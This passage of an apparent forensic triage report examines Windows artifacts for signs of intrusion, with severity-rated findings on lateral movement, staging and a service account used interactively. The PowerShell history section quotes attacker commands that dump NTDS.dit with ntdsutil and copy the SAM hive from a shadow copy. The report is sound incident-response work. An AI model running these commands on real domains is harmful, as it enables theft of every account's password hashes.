  • Why it matters: A directory literally named install_wormhole containing 7za.exe and custom installer binaries, alongside a non-standard "Microsoft Advanced API" program that packages winpcap-nmap, strongly suggests unauthorized network scanning tools and attacker staging.
  • Alternative explanation: Unlikely to be legitimate given the directory name and inclusion of nmap components under a spoofed Microsoft label.
  • Verify: Examine the contents of C:\ProgramData\staging\ and the installed "Microsoft Advanced API" directories; inspect network logs for scanning behavior.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User account spsql downloaded a binary matching the lateral-movement artifact ri.exe moments before identical timestamps appeared on remote hosts.
  • Evidence: 2018-09-05T14:05:28.993555+00:00 row 9 (C:\Users\spsql\Downloads\ri.exe); same timestamp row 10 (C:\Users\spsql\Downloads\wrar561b1.exe); corroborated by row 7 and row 8 (same timestamp, ri.exe on \\172.16.4.6 and \\172.16.4.5).
  • Why it matters: The exact filename ri.exe and identical last_modified timestamp clustering tie the spsql account directly to the suspected intrusion toolchain used for lateral movement.
  • Alternative explanation: Coincidental filename match is possible but improbable given the precise timestamp alignment and remote admin-share paths.
  • Verify: Correlate spsql logon events and browser/download history around 2018-09-05 14:05 UTC; inspect the Downloads folder for residual files.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Potential persistence and anti-forensics tooling.
  • Evidence: 2018-08-15T17:10:17.110758+00:00 row 95 (C:\WINDOWS\Autorunsc.exe); 2018-05-14T04:09:01.890320+00:00 row 356 (\base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe); 2018-03-12T22:07:08+00:00 row 629 (C:\Users\Administrator\Desktop\SystemInit-dev.exe) and row 630 (SIGN.MEDIA=1E6CC1C SystemInit-dev.exe); 2018-05-04T22:12:41.095989+00:00 row 518 (C:\Program Files\SystemInit\unins000.exe) and rows 614–615 (SystemInit-dev.tmp in Administrator AppData\Local\Temp).
  • Why it matters: Autorunsc.exe and sdelete.exe are dual-use tools commonly employed for persistence enumeration and secure deletion of evidence; SystemInit is a custom binary deployed under the Administrator profile and subsequently installed as a program.
  • Alternative explanation: May represent legitimate system administration activity or in-house software.
  • Verify: Check Autoruns output and persistence locations (Run keys, services) for SystemInit; examine event logs for gaps that might indicate sdelete usage.

Data Gaps

  • Execution not proven: Shimcache records program presence on disk only; it does not independently confirm execution. Corroboration from Prefetch, Amcache, or Windows Event Logs (EVTX) is required to prove these binaries ran.
  • Missing temporal precision: 267 rows carry the invalid/default timestamp 1601-01-01T00:00:00+00:00, preventing reliable timeline ordering for a large portion of the cache.
  • No file integrity data: Hashes, digital signatures, and file sizes are absent. We cannot confirm whether ri.exe on the remote shares is bitwise identical to the copy in C:\Users\spsql\Downloads\.
  • No process lineage: Command-line arguments, parent process names, and user security identifiers are not captured in Shimcache, preventing attribution of execution to specific logon sessions.
  • Remote binaries inaccessible: Artifacts referenced on \\172.16.x.x\c$\... are not present on this host's disk image; analysis is limited to path and timestamp.
  • DFIR checks with no artifact coverage: Explicit credential-access tooling (e.g., Mimikatz, ProcDump, LSASS dumpers) and privilege escalation exploits were not observed in this artifact; their absence here does not rule out use elsewhere in the environment.
Amcache (amcache) HIGH
Record Count 992
Time Range Start 2018-08-06T19:26:33.314640
Time Range End 2018-09-06T20:29:11.672955

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] ProcDump credential-access tool found in a non-standard, user-profile directory nested within a password manager’s installation path.
  • Evidence: install_date blank, path c:\users\tdungan\appdata\roaming\dashlane\6.2.0.12026\procdump.exe (row_ref 315), identical binary also at row_ref 316 (...\dashlane\procdump.exe) and row_ref 317 (...\dashlane\6.1.0.11480\procdump.exe); publisher sysinternals - www.sysinternals.com; version 7.0; SHA1 f6b2ac3a5bcdd89d15348320323c14039a4139c0.
  • Why it matters: ProcDump is frequently abused to dump LSASS memory for credential theft, and its placement inside a password manager’s user directory is highly anomalous and consistent with staging or execution by an intruder.
  • Alternative explanation: A system administrator manually copied the tool to this location for application troubleshooting.
  • Verify: Check Shimcache and Prefetch for evidence that procdump.exe executed, and search the filesystem for .dmp files or LSASS access events around the incident window.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Non-McAfee executable from a competing vendor present inside the McAfee VirusScan Enterprise program directory.
  • Evidence: install_date blank, path c:\program files (x86)\mcafee\virusscan enterprise\pireg.exe (row_ref 305); publisher check point software technologies; version 53023; product desktop; SHA1 f718ce10e0190870edcbee77ab6a11e39d154584.
  • Why it matters: Attackers occasionally drop executables into trusted security software directories to evade detection and blend in with legitimate files.
  • Alternative explanation: Legacy third-party integration or a licensed Check Point component shipped with an older McAfee product version.
  • Verify: Validate the file’s digital signature against known-good McAfee and Check Point databases, and inspect the McAfee installation manifest for this component.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap remote packet capture daemon installed, enabling raw network traffic sniffing.
  • Evidence: install_date blank, path c:\program files\winpcap\rpcapd.exe (row_ref 331); publisher riverbed technology, inc.; version 4.1.0.2980; product winpcap; SHA1 c99aa678f387c00c4470fa3cd7b037d26720960d.
  • Why it matters: rpcapd allows remote hosts to capture network traffic, which can be used to harvest credentials or monitor sensitive communications.
  • Alternative explanation: Legitimate network diagnostics or monitoring software installed by administrators.
  • Verify: Inspect the local service configuration for rpcapd and review network logs for signs of remote capture sessions.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OneDrive client software present under the profile of a service account (spsql), suggesting interactive or unauthorized use.
  • Evidence: install_date blank, path c:\users\spsql\appdata\local\microsoft\onedrive\update\onedrivesetup.exe (row_ref 279); publisher microsoft corporation; version 18.131.0701.0007; product microsoft onedrive; SHA1 3284ac8d523ea063014ca7c46d90c05d70c0dda8.
  • Why it matters: Service accounts are typically non-interactive; presence of user-oriented sync software may indicate account compromise, misuse, or unauthorized data synchronization.
  • Alternative explanation: An administrator manually configured OneDrive for this service account.
  • Verify: Correlate with Windows Security event logs for interactive logon events by spsql and review OneDrive sync logs.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] VPN tunneling components (AnchorFree) installed under a standard user profile, creating a potential encrypted egress path.
  • Evidence: install_date blank, path c:\users\tdungan\appdata\roaming\dashlane\vpn\service\vpnservice.exe (row_ref 394, also rows 395 and 396); publisher anchorfree inc.; version 1.2.7.75; product caketube windows sdk; SHA1 0f80499dc823b1e3192c4d821d1c46ef3f8fac9e. Supporting TAP driver entries (e.g., row_ref 18–23, 357–362).
  • Why it matters: User-installed VPN software can tunnel traffic outside corporate monitoring and may be used for data exfiltration or C2 evasion.
  • Alternative explanation: Legitimate Dashlane VPN feature installed by the user for personal password manager functionality.
  • Verify: Review network flow logs for encrypted tunnel connections to AnchorFree infrastructure and confirm policy approval for Dashlane VPN.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] PuTTY secure copy utility (PSCP) present in a Puppet Labs directory without corroborating Puppet infrastructure artifacts.
  • Evidence: install_date blank, path c:\program files\puppet labs\puppet\bin\pscp.exe (row_ref 319); publisher simon tatham; version release 0.70; product putty suite; SHA1 2d7177f8466d82e28150572584928278ba72d435.
  • Why it matters: PSCP can facilitate encrypted file transfers during lateral movement or data staging, and the absence of other Puppet PE files raises questions about the directory’s origin.
  • Alternative explanation: Residual binary from a legitimate Puppet agent installation whose other components were not captured in this Amcache slice.
  • Verify: Determine whether Puppet is an authorized management tool on this host and enumerate the full c:\program files\puppet labs directory.

Data Gaps

  • install_date is blank for nearly all executable entries (present only for modern app packages beginning at row_ref 421), so the precise arrival time of suspicious binaries cannot be determined from this artifact alone.
  • Amcache inventories file metadata but does not record execution timestamps, command lines, or parent processes; Shimcache, Prefetch, and EDR telemetry are required to confirm whether ProcDump, PSCP, or WinPcap were actually executed and with what arguments.
  • No explicit Mimikatz, webshell, or known-malicious binaries were observed, but memory-resident tools and non-PE artifacts (scripts, scheduled tasks, WMI events) are outside the scope of Amcache.
  • The spsql account and the administrator.shieldbase domain admin account show limited software inventory here; Security event logs and full user profile/registry analysis are needed to assess their activity and scope of compromise.
  • Signs of log clearing or anti-forensics cannot be assessed from Amcache alone and require comparison with Event Logs and USN Journal data.
BAM/DAM (bam) MEDIUM
Record Count 33
Time Range Start 2018-05-08T14:36:47.134481
Time Range End 2018-09-07T01:32:43.967024

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Windows command shell and PowerShell executed during an overnight interactive session on the suspected compromise date.
  • Evidence: row_ref 33, ts 2018-09-06T17:25:51.078669+00:00, path \Device\HarddiskVolume2\Windows\System32\cmd.exe; row_ref 35, ts 2018-09-06T20:25:18.859434+00:00, path \Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe; row_ref 36, ts 2018-09-06T20:25:18.952560+00:00, path \Device\HarddiskVolume2\Windows\System32\conhost.exe.
  • Why it matters: Attackers routinely abuse cmd.exe and PowerShell for payload execution, reconnaissance, credential harvesting, and lateral movement during Windows intrusions.
  • Alternative explanation: Standard administrative tasks, logon scripts, or power user activity on an RDS host.
  • Verify: Review Windows Security Event ID 4688 (if command-line logging is enabled), PowerShell operational/ScriptBlock logs, and Prefetch to obtain command-line arguments, parent process, and invoking user.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Remote Desktop client (mstsc.exe) execution indicates potential outbound RDP connectivity.
  • Evidence: row_ref 34, ts 2018-09-05T18:45:35.260126+00:00, path \Device\HarddiskVolume2\Windows\System32\mstsc.exe.
  • Why it matters: Execution of the RDP client from this RDS host may represent lateral movement to other systems in the shieldbase.lan environment.
  • Alternative explanation: An authorized user legitimately initiated an outbound remote desktop session to another internal host.
  • Verify: Inspect Windows Security event logs for outbound RDP sessions, RDS client jump lists, and session broker records to identify the target host and originating user account.

Data Gaps

  • Missing user attribution: The provided BAM records do not include a User SID or username column, so the system-level executions of cmd.exe, powershell.exe, and mstsc.exe cannot be attributed to a specific account (user context is inferable only for entries under \Users\tdungan and \Users\spsql).
  • No execution context: BAM/DAM does not capture command-line arguments, parent processes, or network indicators; malicious use of these legitimate Windows binaries cannot be confirmed or ruled out from this artifact alone.
  • Limited historical retention: BAM stores only recent entries. The absence of older records (or records between 2018-05-08 and the September cluster) cannot be interpreted as evidence that no earlier attacker activity occurred.
  • Corroboration required: As noted in artifact guidance, cross-checking with Prefetch, Amcache, Windows Event Logs (Security/PowerShell), and Sysmon is necessary to build a complete execution picture and confirm or refute suspicious activity.
UserAssist (userassist) HIGH
Record Count 118
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-06T21:18:43.691000

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service-associated account spsql executed interactive PowerShell, command prompt, and Remote Desktop client on the same day, indicating highly anomalous interactive activity for a non-human account.
  • Evidence: Row 90 (ts: 2018-09-05T12:18:02.357000, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, number_of_executions: 2, application_focus_duration: 1325580, username: spsql); Row 88 (ts: 2018-09-05T12:03:08.397999, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, number_of_executions: 3, application_focus_duration: 181091, username: spsql); Row 89 (ts: 2018-09-05T14:05:56.726999, path: Microsoft.Windows.RemoteDesktop, number_of_executions: 5, application_focus_duration: 4243967, username: spsql).
  • Why it matters: A SQL service account engaging in extended interactive shell sessions and RDP client usage is consistent with compromised credentials, privilege abuse, or attacker lateral movement staging on an RDS host.
  • Alternative explanation: Database administrator using the service account for interactive troubleshooting or remote server management.
  • Verify: Correlate with Windows Security Event Log 4624/4634 for spsql interactive/console logon events on 2018-09-05 and review PowerShell script block / transcription logs.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain administrator administrator.shieldbase launched Sysinternals SDelete from a network-hosted share, indicating potential secure deletion of files (anti-forensics).
  • Evidence: Row 114 (ts: 1601-01-01T00:00:00+00:00, path: \base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe, number_of_executions: 0, application_focus_duration: 1156, username: administrator.shieldbase).
  • Why it matters: SDelete is explicitly designed to irrecoverably delete data; its use by a privileged account during a suspected compromise investigation raises the risk of evidence destruction.
  • Alternative explanation: Administrator legitimately used SDelete to sanitize routine sensitive files unrelated to an intrusion.
  • Verify: Recover command-line arguments from Prefetch, Amcache, or Event ID 4688/1 to identify target files; examine Volume Shadow Copies and MFT for indicators of mass deletion.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Domain administrator administrator.shieldbase executed an interactive command prompt with sustained focus duration.
  • Evidence: Row 105 (ts: 2018-05-14T05:18:27.966999, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, number_of_executions: 1, application_focus_count: 6, application_focus_duration: 550329, username: administrator.shieldbase).
  • Why it matters: A domain admin maintaining an interactive command prompt for ~9 minutes may indicate manual system modification, policy changes, or tooling execution that warrants correlation with other artifacts.
  • Alternative explanation: Routine administrative maintenance or batch script execution.
  • Verify: Check Security event logs and command history (ConsoleHost_history.txt) for commands executed in this session.

Data Gaps

  • Limited execution scope: UserAssist only captures programs launched through the Explorer shell. Direct command-line execution, background services, scheduled tasks, and non-interactive PowerShell sessions are not reflected here.
  • Null timestamps obscure timeline: 42 records (36% of the dataset) carry a 1601-01-01 timestamp, including SDelete, PowerShell, sc.exe, and schtasks.exe entries. This prevents precise temporal correlation of potentially suspicious tool usage.
  • No command-line visibility: Intent cannot be determined for executed programs (e.g., whether sdelete.exe targeted specific evidence, or whether powershell.exe ran malicious commands).
  • Absence of expected compromise artifacts: No evidence of credential-access tooling (e.g., Mimikatz), reverse shells, or known malicious binaries appears in this artifact.
  • Corroborating artifacts required: Windows Security Event Logs (4624, 4688, 5156), Sysmon, Prefetch, Amcache, ShimCache, Scheduled Tasks, and Service registry keys are needed to confirm execution chains, logon types, and persistence mechanisms.
Recycle Bin (recyclebin) UNSPECIFIED
Record Count 51
Time Range Start 2018-09-05T13:15:53.491999
Time Range End 2018-09-05T13:15:53.491999

No suspicious deletions indicative of compromise, credential access, or evidence cleanup were observed in this Recycle Bin artifact.

Data Gaps

  • Identical timestamps prevent sequencing. All 51 recovered items share the exact deletion timestamp 2018-09-05T13:15:53.491999+00:00 (rows 1–51), making it impossible to determine whether the deletions resulted from a single bulk command (e.g., rd /s /q, PowerShell Remove-Item -Recurse) or rapid interactive deletes.
  • No attacker tooling or log cleanup visible. The deleted items are exclusively research documents (.docx, .pdf, .pptx) originally located under C:\Windows\Logs\SysBackup\06-11\Research\ (rows 1–51). No deleted executables, scripts, archives, credential stores, or Windows Event Logs are present to suggest cleanup of malicious tools or forensic evidence.
  • **User context for spsql is unknown.** All deletions are attributed to username spsql (rows 1–51), but without EVTX Security logon events (4624/4634/4648) or Sysmon/Process Creation (4688) data from the same timeframe, it cannot be assessed whether this was a compromised service account, an interactive user session, or legitimate automated maintenance.
  • Atypical original path warrants correlation. The path C:\Windows\Logs\SysBackup is non-standard for user document storage (rows 1–51). Whether this directory was used for legitimate backup staging or as an adversary staging area cannot be determined without $MFT/$LogFile timeline analysis and file-creation artifact correlation.
  • Narrow temporal scope and bypass methods not captured. This artifact contains records for a single point in time; deletions occurring outside this instant, or performed via Recycle-Bin-bypass methods (Shift+Delete, direct NTFS deletion, or attacker utilities), are absent here.
Browser History (browser.history) HIGH
Record Count 1016
Time Range Start 2018-05-11T22:18:56.012000
Time Range End 2018-09-06T23:26:13.503408

Merged batch 1

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql accessed a remote administrative share on an internal host via browser file:// URLs, indicating lateral movement or unauthorized reconnaissance.
  • Evidence: row 487, timestamp 2018-09-05T13:26:02.105101+00:00, URL file://172.16.4.6/c$/Windows/Logs/WindowsServerBackup, username spsql, visit count 7; rows 488–494, timestamps spanning 2018-09-05T13:17:03 to 2018-09-05T13:23:47, URLs traversing subdirectories of the same remote C$ path, username spsql.
  • Why it matters: A service account browsing to a remote C$ admin share is not normal user behavior and strongly suggests unauthorized lateral movement.
  • Alternative explanation: None plausible; service accounts do not perform interactive browsing of remote admin shares.
  • Verify: Pull Windows Security Event Logs (4624/4648/5140) on BASE-RD-01 and SMB audit logs on 172.16.4.6 for spsql activity around 2018-09-05T13:17Z.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql accessed another user’s confidential local files and subsequently visited a public file-sharing site.
  • Evidence: row 480, timestamp 2018-08-28T21:43:43.654537+00:00, URL file:///C:/Users/tdungan/OneDrive%20-%20Stark%20Research%20Labs/CONFIDENTIAL%20-%20Project%20Mayhem.pptx, username spsql; rows 481–486 show additional access to tdungan’s research documents under the same profile path. Row 501, timestamp 2018-09-05T13:44:39.018549+00:00, URL https://www.sendspace.com/, username spsql.
  • Why it matters: Accessing a user’s confidential documents followed by a visit to a file-sharing service suggests data staging and potential exfiltration.
  • Alternative explanation: None; service accounts do not normally enumerate user profiles and browse file-sharing sites.
  • Verify: Check proxy/web gateway logs for sendspace.com upload traffic from BASE-RD-01, and audit file access to tdungan’s C:\Users\tdungan profile for spsql.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Browser history is attributed to the service account spsql, indicating interactive logon, account misuse, or attacker operation.
  • Evidence: Artifact statistics show 29 browser history records associated with username spsql compared to 987 for tdungan (chunk 2). Specific interactive sessions include row 480 (2018-08-28T21:43:43), rows 487–494 (2018-09-05T13:17:03 to 2018-09-05T13:23:47), row 495 (2018-08-28T21:58:01), row 496 (2018-08-28T21:56:39), and row 501 (2018-09-05T13:44:39), all username spsql.
  • Why it matters: Service accounts typically do not have interactive browser sessions; the volume and nature of this activity indicates potential account compromise or attacker operation.
  • Alternative explanation: spsql could be a regular user with a misleading name, or an administrator performing maintenance.
  • Verify: Query Windows Security Event Logs on BASE-RD-01 for interactive (Logon Type 2) or RDP (Type 10) logon events for spsql during the collection time range.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Service account spsql conducted reconnaissance for an internal SharePoint host.
  • Evidence: row 496, timestamp 2018-08-28T21:56:39.283340+00:00, Bing search query base-sp, username spsql; row 495, timestamp 2018-08-28T21:58:01.017485+00:00, URL http://base-sp/, username spsql.
  • Why it matters: Searching for and connecting to internal resources from a service-account browser session is consistent with attacker reconnaissance or lateral-movement planning.
  • Alternative explanation: Unlikely to be automated; the interactive search-and-visit pattern matches user-driven behavior.
  • Verify: Review IIS/proxy logs for base-sp and DNS/query logs for the base-sp hostname from BASE-RD-01.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User tdungan searched for and viewed a specific Bitcoin address on a lookup service.
  • Evidence: row 1033, timestamp 2018-08-15T01:59:16, title btc address lookup - Google Search; row 1034, timestamp 2018-08-15T01:59:23, URL bitcoinwhoswho.com; rows 1035–1036, timestamp 2018-08-15T02:00:04, search and view of address 1KMq2KvXwXgB3Cr7UrzCJYAjjUMZ2B14XC, username tdungan.
  • Why it matters: In a suspected compromise investigation, targeted Bitcoin address lookups can indicate ransomware payment reconnaissance, attacker wallet verification, or illicit financial activity.
  • Alternative explanation: Personal cryptocurrency curiosity or non-malicious research.
  • Verify: Cross-reference the Bitcoin address against threat-intel feeds and check email/file artifacts on the host around 2018-08-15 for ransom notes or related IOCs.

Data Gaps

  • Upload/Exfiltration Uncertainty: This artifact records visited URLs only; it does not capture HTTP POST body data, downloaded files, or upload confirmations. Whether spsql actually uploaded files to sendspace.com cannot be determined without proxy, firewall, or web gateway logs.
  • Missing Process Context: The artifact does not include the parent process or command line of the browser sessions. It is therefore impossible to distinguish an interactive attacker using spsql from a headless/malware-driven browser without correlated process execution telemetry.
  • Authentication Unknown for Remote Access: Remote file access via file:// URLs in browser history does not reveal whether the SMB connection to 172.16.4.6 succeeded, what credentials were used, or what specific files were read; SMB audit logs on the remote host are required.
  • Incomplete Record Metadata: Many iexplore rows are missing title, host, and visit_type values, limiting the ability to assess intent or categorize traffic for those sessions.
  • Uneven Chunk Coverage / Missing Row-Level Data: Chunk 2 reported that no row-level records for the 29 spsql sessions were included in its CSV excerpt and that 491 Internet Explorer and 40 Firefox records were summarized but not provided. However, chunk 1 did contain row-level spsql records (e.g., rows 480, 487–494, 495, 496, 501). This inconsistency indicates the dataset was split unevenly, and full row-level evidence for all browsers, accounts, and time periods has not been assessed.
  • Missing Final 10 Days of History: The provided CSV records for tdungan end on 2018-08-27, while the artifact time range extends to 2018-09-06; approximately 10 days of history are missing from the evidence set. Although spsql records in chunk 1 extend to 2018-09-05, activity for tdungan and other potential accounts in the final days remains unassessed.
  • History Integrity: No direct evidence of history tampering or clearing is present, but the absence of earlier spsql sessions does not prove they did not occur. Corroboration from Event Logs and Volume Shadow Copy is needed.
  • No Associated Network or Execution Artifacts: No associated download history, DNS cache, process execution, or network connection artifacts are available to determine whether any visits resulted in payload retrieval or C2 communication.
Browser Downloads (browser.downloads) UNSPECIFIED
Record Count 61
Time Range Start 2018-07-18T15:11:34.877867
Time Range End 2018-08-27T19:06:10.184149

No suspicious browser downloads were identified in the provided artifact.

Data Gaps

  • Execution status unknown: The artifact records file ingress but cannot confirm whether any downloaded file was executed. This includes the sole executable DashlaneInst.exe (row 17, 2018-08-16T00:23:21) and the numerous Office documents downloaded during the 2018-08-27 burst. Cross-reference with Prefetch, Amcache, or EDR telemetry is required.
  • Incomplete IE metadata: Internet Explorer records (rows 1–10) are missing ts_start, size, and state, limiting timeline precision and download integrity verification for those events.
  • Macro/content analysis impossible: The artifact provides no visibility into whether .docx, .pptx, or .ppsx files contain malicious macros, embedded objects, or exploits; file content inspection or AV logs are needed.
  • Volume burst unexplained: Between 2018-08-27T19:01:21 and 2018-08-27T19:06:10 (rows 21–61), approximately 40 files were downloaded in rapid succession. Whether this represents manual bulk retrieval, a restored browser session, or scripted behavior cannot be determined without browser history, session restore data, or proxy logs.
  • No credential-access or RAT payloads observed: While the investigation prioritizes credential-access tooling (e.g., Mimikatz-like activity) and malicious execution, no such tools or suspicious scripts were downloaded according to this artifact.
  • Single-user visibility: All 61 records belong to tdungan; download activity for any other user account on BASE-RD-01 is not represented here.
  • Egress blind spot: This artifact captures inbound downloads only; outbound uploads, cloud-sync activity, or exfiltration via browser are not visible.
PowerShell History (powershell_history) HIGH
Record Count 50
Time Range Start 2018-09-05T12:34:13.399303
Time Range End 2018-09-05T12:34:13.399303

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Active Directory database (NTDS.dit) extracted via ntdsutil on Domain Controller and staged in masqueraded directories.
  • Evidence: 2018-09-05T12:34:13.399303+00:00, row 10 (Enter-PSSession BASE-DC), row 30 (ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\perfmon\" q q), row 33 (ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\perfmon" q q), row 48 (cd c:\windows\System\Backup).
  • Why it matters: ntdsutil IFM creates a portable copy of NTDS.dit containing password hashes for every domain account, enabling offline cracking or Golden Ticket creation.
  • Alternative explanation: No legitimate administrative workflow dumps NTDS.dit to C:\Windows\Temp\perfmon and then hides it in $Recycle.Bin and a fake System\Backup folder.
  • Verify: Examine C:\Windows\System\Backup and C:\$Recycle.Bin on BASE-DC for NTDS.dit, SYSTEM, and SECURITY hives; check USN Journal for file moves.
  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] SAM hive copied from Volume Shadow Copy on Domain Controller for offline hash extraction.
  • Evidence: 2018-09-05T12:34:13.399303+00:00, row 1 (Enter-PSSession BASE-DC), row 4 (mklink /D backup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy37\), row 6 (copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy37\Windows\System32\config\SAM .).
  • Why it matters: Extracting SAM from a shadow copy bypasses OS file locks and exposes local account password hashes for offline cracking.
  • Alternative explanation: Incident response collections typically do not use interactive shadow-copy symbolic links followed by credential-staging tradecraft.
  • Verify: Locate the copied SAM file on BASE-DC and examine Volume Shadow Copy 37 for accessed registry hives.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement from BASE-RD-01 to Domain Controller via PowerShell remoting.
  • Evidence: 2018-09-05T12:34:13.399303+00:00, row 1 (Enter-PSSession BASE-DC), row 10 (Enter-PSSession BASE-DC).
  • Why it matters: Confirms the spsql account on BASE-RD-01 established interactive remote sessions to BASE-DC, providing the conduit for subsequent credential theft.
  • Alternative explanation: While domain administrators may use remote PowerShell, the paired credential-access commands confirm malicious intent.
  • Verify: Correlate with Windows Security Event Logs on BASE-DC (Event ID 4624/4625, LogonType 9) and WinRM operational logs.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Evasive staging: stolen database hidden sequentially under perfmon, $Recycle.Bin, and Windows\System\Backup.
  • Evidence: 2018-09-05T12:34:13.399303+00:00, rows 25–30 (mkdir perfmon in C:\Windows\Temp and ntdsutil output), row 42 (mv .\perfmon\ 'C:\$Recycle.Bin'), row 46 (mv 'C:\$Recycle.Bin\perfmon' c:\Windows\System\Backup), row 48 (cd c:\windows\System\Backup).
  • Why it matters: Attackers used a performance-monitor decoy name, then moved the stolen data into a system folder disguised as a backup directory to evade detection and potentially prepare for exfiltration.
  • Alternative explanation: None credible; the sequential relocation of a sensitive database through these specific paths is deliberate defense evasion.
  • Verify: Inspect C:\Windows\System\Backup on BASE-DC for NTDS.dit and registry hive remnants; review file system timeline for creation/move events.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Anomalous manipulation of the $Recycle.Bin directory structure.
  • Evidence: 2018-09-05T12:34:13.399303+00:00, rows 14–22 (cd $recycle.bin, mkdir $recycle.bin, mv '.\$Recycle.Bin\' $Recycle.bin, repeated del` commands).
  • Why it matters: Attempts to rename, overwrite, or nest $Recycle.Bin are consistent with anti-forensic activity or creation of a hidden storage location.
  • Alternative explanation: Could reflect accidental commands or a failed cleanup attempt, though the concentration of file-system manipulation around the same time as credential theft is suspicious.
  • Verify: Examine the $Recycle.Bin directory on BASE-DC for non-standard subdirectories, unexpected permissions, or hive files.

Data Gaps

  • No per-command timestamps: All 50 rows share the identical file modification time 2018-09-05T12:34:13.399303+00:00. PSReadLine history does not record individual execution times, so duration, intervals between commands, and exact session timing must be derived from other artifacts (e.g., Windows Event Logs, PowerShell operational logs, or shellbags).
  • Command outcomes unknown: The history captures input only; it is not possible to determine whether ntdsutil, copy, mv, or del commands succeeded, failed, or produced errors.
  • No exfiltration evidence: The history shows staging to C:\Windows\System\Backup, but no subsequent copy, archive, or upload commands (e.g., Invoke-WebRequest, robocopy, rar) are present, so the exfiltration method and destination are unassessable from this artifact.
  • Account context missing: There is no evidence in this file regarding whether spsql is a legitimate service account or a compromised identity, nor how it authenticated to BASE-DC.
  • Persistence unassessable: No commands relating to scheduled tasks, registry run keys, services, or other persistence mechanisms appear in this history.
  • Potential history gaps: The session begins abruptly with Enter-PSSession; earlier commands or a Clear-History invocation may be missing, but this artifact cannot confirm deletion. File-system metadata for the history file itself should be examined.
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 166
Time Range Start 2018-05-08T14:37:16.470802
Time Range End 2018-09-05T14:29:22.397907

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql performed extensive interactive lateral movement via Windows Explorer across at least eight remote hosts using C$ administrative shares, accessing backup repositories containing sensitive project folders and uniform Windows\Temp\Perfmon directories.
  • Evidence: Row 107 (lnk_net_name \\172.16.4.6\C$, common_path_suffix Windows\Logs\WindowsServerBackup\6.14, lnk_mtime 2018-09-05T14:29:22.397907+00:00); Row 124 (\\172.16.4.5\C$, Windows\Logs\WindowsServerBackup\7.15\c); Rows 127–129 (\\172.16.6.14\C$, \\172.16.6.12\C$, \\172.16.7.15\C$, all with Windows\Temp\perfmon); Row 136 (\\172.16.7.11\C$, Windows\Temp\perfmon); Row 153 (\\172.16.7.13\C$, Windows\Temp\perfmon); Rows 162–163 (\\172.16.4.6\C$ and \\172.16.4.5\C$, Windows\Temp\perfmon). Additional rows show access to folders named MH_Eyes_Only (row 140), Project P.E.G.A.S.U.S (row 144), Project Mayhem (row 145), Targets (row 151), Case Files (row 152), and 4.04\Active Directory (row 161), all under \\172.16.4.6\C$\Windows\Logs\WindowsServerBackup.
  • Why it matters: A service account should not be interactively browsing admin shares across the enterprise; this pattern is consistent with attacker reconnaissance, data discovery, and staging from a compromised account.
  • Alternative explanation: A systems administrator or backup operator legitimately used the spsql account to verify backup contents across multiple servers.
  • Verify: Cross-reference Windows Security Event IDs 4624/4648/4769 and SMB session logs on 172.16.4.5, 172.16.4.6, and the workstation subnets to confirm spsql logon type, source host, and session duration.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Cross-user file access and local staging directory interaction: spsql opened Microsoft Word documents located in tdungan’s OneDrive profile, and spsql accessed local directories C:\Windows\Temp\Perfmon\Research and C:\Windows\Temp\Perfmon\Tax Returns on BASE-RD-01.
  • Evidence: Rows 105–106 (username spsql, application_name Quick Access, local_base_path C:\Users\tdungan\OneDrive - Stark Research Labs\Research\A_review_on_application_of_carbonaceous_materials_clean_ADS_041109.doc and carbonadium-info.doc, lnk_mtime 2018-08-28T21:46:06.217831+00:00); Rows 164–165 (username spsql, application_name Microsoft Word 2016 64-bit, same tdungan file paths, lnk_mtime 2018-08-28T21:45:57.945143+00:00); Row 117 (local_base_path C:\Windows\Temp\Perfmon\Research, lnk_mtime 2018-09-05T14:29:22.397907+00:00); Row 119 (local_base_path C:\Windows\Temp\Perfmon\Tax Returns, same lnk_mtime).
  • Why it matters: A service account accessing another user’s cloud-synced research documents and non-standard Temp subdirectories suggests privilege abuse or account compromise, with potential data staging.
  • Alternative explanation: IT support performed file recovery or migration using the spsql account.
  • Verify: Examine NTFS access logs and current contents of C:\Windows\Temp\Perfmon on BASE-RD-01; check spsql group memberships and recent password resets.
